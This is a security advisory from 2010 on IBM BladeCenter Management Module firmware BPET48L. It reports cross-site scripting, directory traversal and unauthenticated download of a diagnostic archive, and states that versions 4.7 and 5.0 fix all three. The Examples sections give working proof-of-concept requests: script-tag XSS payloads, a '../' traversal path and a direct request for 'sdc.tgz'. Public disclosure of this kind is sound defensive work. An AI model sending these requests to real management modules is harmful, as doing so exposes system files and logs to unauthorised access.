93 lines
No EOL
2.6 KiB
Text
93 lines
No EOL
2.6 KiB
Text
[DSECRG-09-054] IBM Bladecenter Management - Multiple vulnerabilities
|
|
|
|
The BladeCenter management module is prone to multiple security vulnerabilities: Unauthorized Access, Directory Listing, XSS
|
|
|
|
|
|
Digital Security Research Group [DSecRG] Advisory #DSECRG-09-054
|
|
|
|
|
|
Application: IBM BladeCenter Managemet Module
|
|
Versions Affected: BPET48L and may be other versions
|
|
Vendor URL: http://www-03.ibm.com/systems/bladecenter/
|
|
Bug: XSS,Directory traversal, Information disclosure
|
|
Exploits: YES
|
|
Reported: 05.09.2009
|
|
Vendor response: 09.09.2009
|
|
Solution: YES
|
|
Date of Public Advisory: 05.07.2010
|
|
Author: Sintsov Alexey
|
|
from Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)
|
|
|
|
|
|
Description
|
|
***********
|
|
|
|
The BladeCenter management module is prone to multiple security vulnerabilities:
|
|
|
|
1 Dinamic XSS
|
|
2 Directory Listing
|
|
3 Unauthorized Access
|
|
|
|
Details
|
|
*******
|
|
1. Multiple XSS vulnerabilities found in bladecenter web management
|
|
|
|
|
|
Examples
|
|
*******
|
|
|
|
http://[BLADECENTER]/private/cindefn.php?INDEX=3%3C/NOBR%3E%20%3Cscript%3Ealert(\'XSS1\');%3C/script%3E&VLANID=&IPADDR=3>%3Cscript%3Ealert(\'XSS2\');%3C/script%3E
|
|
http://[BLADECENTER]/private/power_management_policy_options.php?domain=3<XSS>
|
|
|
|
http://[BLADECENTER]/private/pm_temp.php?view=6&mod_type=3&slot=3<XSS>
|
|
|
|
http://[BLADECENTER]/private/power_module.php?view=4&mod_type=4&slot=3<XSS>
|
|
http://[BLADECENTER]/private/pm_temp.php?view=6&mod_type=3&slot=3<XSS>
|
|
http://[BLADECENTER]/private/blade_leds.php?WEBINDEX=3<XSS>
|
|
|
|
http://[BLADECENTER]/private/ipmi_bladestatus.php?SLOT=3<XSS>&save=1
|
|
|
|
|
|
2. Directory Listing vulnerability found in bladecenter web management
|
|
|
|
Attacker need to be authorized.
|
|
|
|
Examples
|
|
*******
|
|
|
|
http://[BLADECENTER]/private/file_management.php?DIR=/../../../tmp/etc
|
|
|
|
|
|
Attacker can get full access to OS files.
|
|
|
|
|
|
3. UNauthorized access
|
|
|
|
Access to the sensitive data (system logs, cores) can be done by requesting a file:
|
|
|
|
Examples
|
|
*******
|
|
http://[BLADECENTER]/private/sdc.tgz
|
|
|
|
|
|
Solution
|
|
********
|
|
|
|
All three issues were fixed in the v4.7 and v5.0
|
|
|
|
References
|
|
*********
|
|
|
|
http://dsecrg.com/pages/vul/show.php?id=154
|
|
|
|
|
|
About
|
|
*****
|
|
|
|
Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards.
|
|
|
|
Digital Security Research Group focuses on enterprise application (ERP) and database security problems with vulnerability reports, advisories and whitepapers
|
|
posted regularly on our website.
|
|
|
|
Contact: research [at] dsecrg [dot] com
|
|
http://www.dsecrg.com |